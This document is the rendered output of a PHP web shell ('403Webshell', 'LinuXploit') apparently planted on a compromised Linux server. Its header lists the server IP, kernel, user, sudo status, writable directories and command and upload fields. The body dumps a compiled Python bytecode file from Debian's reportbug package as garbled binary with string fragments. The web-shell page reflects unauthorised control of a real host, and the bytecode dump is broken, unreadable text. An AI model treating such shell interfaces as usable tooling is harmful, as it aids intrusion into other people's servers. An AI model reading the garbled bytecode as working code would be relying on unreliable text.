403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/reportbug/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/reportbug/__pycache__/submit.cpython-39.pyc
a

K56a�L�@spddlZddlZddlZddlZddlmZmZmZmZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZddlmZddlmZddlmZddlmZddlZd	d
lmZmZd	dlmZmZmZd	dl m!Z!d	d
l"m#Z"d	dl$m%Z%ddl&Z&dZ'd�(dd�e)dd�D��Z*e�+de�,e*�d�Z-e�+de�,e*�d�Z.dd�Z/d(dd�Z0dd�Z1d)d d!�Z2d*d&d'�Z3dS)+�N)�run�Popen�STDOUT�PIPE)�
MIMEMultipart)�MIMEText)�	MIMEAudio)�	MIMEImage)�MIMEBase)�MIMEMessage�)�VERSION�VERSION_NUMBER)�TempFile�open_write_safe�tempfile_prefix)�	NoMessage)�text_ui)�get_email_addrF�cCsg|]}t|��qS�)�chr)�.0Zairr�2/usr/lib/python3/dist-packages/reportbug/submit.py�
<listcomp>1�r� �z[^�]z\s]cGstptj|�S�N)�quietly�uiZlog_message)�argsrrr�ewrite8sr#�x�gpgc
Cs�|st|�d}tt|d�|d�\}}|�|�|��tt|d�|d�\}}	|��|dkr�t�|	�dtjvr|d|}
nd|}
|
d	t�	|	�d
t�	|�7}
n(d|}
|
dt�	|�d
t�	|	�7}
z�t�
|
�t|	ddd��}|��}Wd�n1�s0Ytj
�|��r*t�|�tj
�|	��rBt�|	�|�sLt�|}WnNtttf�y�tt|�|d�\}
}|
�|�|
��td|�d}Yn0|S)zSign message with pgp key.r�unsigned��prefix�dir�signedr%ZGPG_AGENT_INFOz"gpg --local-user '%s' --clearsign z.gpg --local-user '%s' --use-agent --clearsign z	--output � zpgp -u '%s' -fast�<z >�r�backslashreplace)�errorsNz!gpg/pgp failed; input file in %s
)rrr�write�close�os�unlink�environ�shlex�quote�system�open�read�path�existsr�IOError�OSErrorr#)�body�fromaddr�packageZpgp_addrZsign�	draftpathr&Zfile1r*Zfile2Zsigncmdr$Z
signedbody�fhZtmpfile2rrr�sign_message<sB



" 
(




rCcCsLt|�}|��dkrHtdd�|��D��dkrHtj�|�|d=d|d<|S)N�us-asciicss|]}t|�VqdSr)�len)r�lrrr�	<genexpr>urz$_MIMEText_wrapper.<locals>.<genexpr>i�zContent-Transfer-Encodingzquoted-printable)rZget_content_charset�max�
splitlines�email�encodersZ
encode_quopri)�text�msgrrr�_MIMEText_wrapperns�rNcCs�t��td�}t|�}|�dd�d|_d|_|�|�d}|D�]�}zt|�}|�	�WnBt
y�}	z*td||	j�d}WYd}	~	qBWYd}	~	n
d}	~	00d}
|}t
d	d
dd|gttd
���d�d�}|�rt�d|�}
|
�r|
��\}
}}t�d|�}
|
�r|
�d�}d|
v�rd}
|
�s6tj|dd�\}
}|
�s@d}
|
�dd�\}}|dk�r�z<t|d��}t|���}Wd�n1�s�0YWnJt�y�t|d�}t||�}|�|���|�	�tj�|�Yn0n�|dk�rt|d�}t t�!|�|d�}|�	�n�|dk�rBt|d�}t"|��|d�}|�	�nd|dk�rpt|d�}t#|��|d�}|�	�n6t|d�}t||�}|�|���|�	�tj�|�|jddt$j%�&|�d�|�|�qB||fS)NZmixedzContent-DispositionZinlinez6This is a multi-part MIME message sent by reportbug.

rFz"Warning: opening '%s' failed: %s.
T�filez--mimez--briefz
--dereference)�stdout�stderrr�asciiz([^;, ]*)(,[^;]+)?(?:; )?(.*)zcharset=([^,]+|"[^,"]+")r�/)�strictzapplication/octet-streamrLZrU�rb�message)Z_subtypeZimageZaudio�
attachment)�filename)'�	mimetypesZinitrrNZ
add_headerZpreambleZepilogueZattachr8r1�EnvironmentErrorr#�strerrorrrrZcommunicate�decode�re�match�groups�search�groupZ
guess_type�splitr9�UnicodeDecodeErrorr
Zset_payloadrJrKZ
encode_base64rZmessage_from_binary_filer	rr2r:�basename)r>�attachments�charset�body_charsetrVZbodypart�failedrW�fpr$ZctypeZcset�infor^ZjunkZextras�encodingZmaintypeZsubtype�partrrr�mime_attach~s�

�"���

�

0




�









�rmrDT�debbugs�	localhostcF
Cs�	d}}d}|r|rd}|r(|dkr(d}d}t|�}|rh|sht|||	|�\} }|rptd�d}}}nt|�} || d<|| d	<|D]\}!}"|"| |!<q�|r�|| d
<|r�|| d<tj�d|�}|r�|| d
<|
r�tj�	d�| d<t
| d<tjjdd�| d<n|�r|�s|�st| d<dd�| �
d	g�| �
d
g�| �
dg�D�}#tj�|#�}$dd�| �
dg�D�}%tj�|%�}&|%�r�| d=d�|%�}'|'| d<|�s�|�s�z
| d=WnYn0| ��} |�rf|�sf|�sftj�dd�}(z<t�|(d��})|)�| �Wd�n1�s0YWn8t�yL}*z|*jtjk�r8|*�WYd}*~*n
d}*~*00t�ddd��sfd}}d}+|�sv|�r�tj},�n�|�r�t||d �\},}+�n~|�s�|�r�tj�|��r�|�rd|�r�tj�|�}nd!|}tj�|��rzt�||d"�Wn t�ytd#||�Yn0zt |d�},Wn8t�y`t||d �\}-}.td$||.�|.}|-},Yn0n�|�rtj�|��r|�szt�!�}/Wnt�y�t�"d%�Yn0d&d�|$D�}0d'�|0�}1tj�#|�d(}2|�r�tj�#|�d(}3n|2}3td)|�t�d*|t$�%|3�|1fd�},d}tt|d+�|d �\}4}5td,|5�|4�| �|4�&�|�r�d-d�|$D�}6d}7d}8d.}9|7�rNd}7td/|�z�d}:|�'�dk�r�t(�)|d0�}:n&|�*d1��r�d}t(�+|�}:n
t(�)|�}:|:�,�};d2|;d.k�r�d3k�s�n|:�-�|�r0|:�.�|:�,�};d2|;d.k�r&d3k�s0n|:�-�|�rZ|�sNt�/d4||f�}|:�0||�|:�1||6| �}8|:�2�Wn�t3j4t(j5f�yH}/z�t6|/t(j7��r�td5�d}7d}|9d(7}9|9d6k�r�WYd}/~/�qjnd}7t�d7|/�d8�d9d:��r�d}7WYd}/~/�qjn8d}t||d �\}-}|-�| �|-�&�t�8d;|�d<��WYd}/~/n
d}/~/00�qj|8�rR|8�9�D] \}<}=td=|<|=d.|=d(��q\t||d �\}-}|-�| �|-�&�t�8d;|�d<��n�z.|,�| �|,�:�|�r�t�8d>|�d<��Wn t;�yd}|,�&�Yn0|�s|,�&��rR|�rRd}t||d �\}-}|-�| �|-�&�t�8d?|�d<��|�rtd@|j<�|�=|+|�}>d.}?d}@|@�s�|j>�s�t?|>ddA�j@}?n
t�A|>�}?|?d.k�rtdB�dC}AdD}BdEdFdG�}Ct�B|A|B|C�}/|/dHk�rd}t||d �\}-}|-�| �|-�&�t�8dI|�d}@nd}@�qxn�|�s�|�s0|�r�|�rBtdJ|�n
tdK|�g}D|$D]*}<|<d(tj�#|�d(k�rT|D�C|<��qTtD|D��r�tdL�|#D]}EtdM|E��q�|&�r�|dNk�r�tdO�|%D]}EtdM|E��q�|
�	s.|�	s.|dNk�	r.|�	r.dP|v�	r.|�	s.|
�	r.tdQ�t�EdR|dPdS|dPdT�|+�	rltj�|��	rltj�|+��	rlzt�F|+�WnYn0|+�	r�tj�|+��	r�|�	s�tdU|+�dS)VzSend a report.Frzreportbug.debian.orgzpackages.debian.orgzutf-8z,Error: Message creation failed, not sending
NZFromZToZCcZBccZREPLYTOzReply-ToZ	reportbugz
Message-IDzX-MailerT)�	localtimeZDatezX-Reportbug-VersioncSsg|]}t|��qSr��str�rr$rrrrrzsend_report.<locals>.<listcomp>cSsg|]}t|��qSrrqrsrrrrrzX-Debbugs-Ccz, ZPAGERzsensible-pager�wz"Does your report seem satisfactoryz
Yes, send it.zNo, don't send it.r'z/var/tmp/%s.bug�~z$Unable to rename existing %s as %s~
z'Writing to %s failed; using instead %s
rScSsg|]}t�|d��qS�r)r5r6)r�arrrrFrr+rzSending message via %s...
z%s -f %s -oi -oem %sZbackupz$Saving a backup of the report at %s
cSsg|]}|d�qSrvrrsrrrrZrrzConnecting to %s via SMTP...
iKz:465��i+zEnter SMTP password for %s@%s: z/SMTP error: authentication failed.  Try again.
�zSMTP send failure: zC. You can retry, or save the report and exit. Do you want to retry?zYes, please retry.zNo, save and exit.zWrote bug report to zB
Hint: You can resume an unsent report using reportbug -r TEMPFILEz#Unable to send report to %s: %d %s
zBug report written to z8Error: send/write operation failed, bug report saved to zSpawning %s...
)�shellzMMutt users should be aware it is mandatory to edit the draft before sending.
z9Report has not been sent yet; what do you want to do now?ZEqzEdit the message.z3Quit reportbug; will save the draft for future use.)�e�qr|zDraft saved into %s
z
Message sent to: %s
z
Bug report submitted to: %s
zCopies sent to:
z  %s
rnz)Copies will be sent after processing to:
rJ�
a�If you want to provide additional information, please wait to receive the bug tracking number via email; you may then send any extra information to %s (e.g. %s), where n is the bug number.  Normally you will receive an acknowledgement via email including the bug report number within an hour; if you haven't received a confirmation, then the bug reporting process failed at some point (reportbug or MTA failure, BTS maintenance, etc.).
�nZnnnnnnz&A copy of the report is stored as: %s
)Grrmr#rNr2r4�getrJ�utilsZ
make_msgidr
Z
formatdaterZget_allZgetaddresses�joinZ	as_string�popenr0�	Exception�errnoZEPIPEr!Zyes_no�sysrPrr:r;�
expanduser�renamer=r�getcwd�chdirZ	parseaddrr5r6r1�lower�smtplibZSMTP�endswithZSMTP_SSLZehloZheloZstarttlsZget_passwordZloginZsendmail�quit�socket�errorZ
SMTPException�
isinstanceZSMTPAuthenticationErrorZlong_message�items�flushr<�
executableZget_send_commandZneeds_terminalr�
returncoder7Zselect_options�appendrEZ
final_messager3)Fr>reZmuar?ZsendtoZccaddrZbccaddrZheadersr@rfZmailingZsysinfoZrtypeZexinfoZreplytoZ	printonly�templateZoutfileZmtaZkudosZsmtptlsZsmtphostZsmtpuserZ
smtppasswdZparanoidrAZenvelopefromrhZusing_sendmailZmsgnamergZtfprefixrV�header�valueZaddrsZalistZcclistZ
debbugs_ccZaddrlistZpager�pr{rX�piperBZ
newmsgnamer$ZmalistZjalistZfaddrZenvfromZbackupfhZ
backupnameZtoaddrsZtryagainZrefusedZretryZconnZresponseZaddr�errZsendcmdZreturnvalueZ	succeededZmtitleZmoptsZ	moptsdescZ	addressesZaddressrrr�send_report�s�


�
�

.�
 �
�

��



��
�
,�


�


�




,��"r�)r$Nr%N)N)r$rDTNrnNNFFNrFFroNNFNN)4r�r2r]r5�
subprocessrrrrrJr�r�Zemail.mime.multipartrZemail.mime.textrZemail.mime.audiorZemail.mime.imager	Zemail.mime.baser
Zemail.mime.messagerrY�__init__r
rZ	tempfilesrrr�
exceptionsrr!rr�rr�r r��rangeZascii_range�compile�escapeZnotasciiZ	notascii2r#rCrNrmr�rrrr�<module>sH
2
M�

Youez - 2016 - github.com/yon3zu
LinuXploit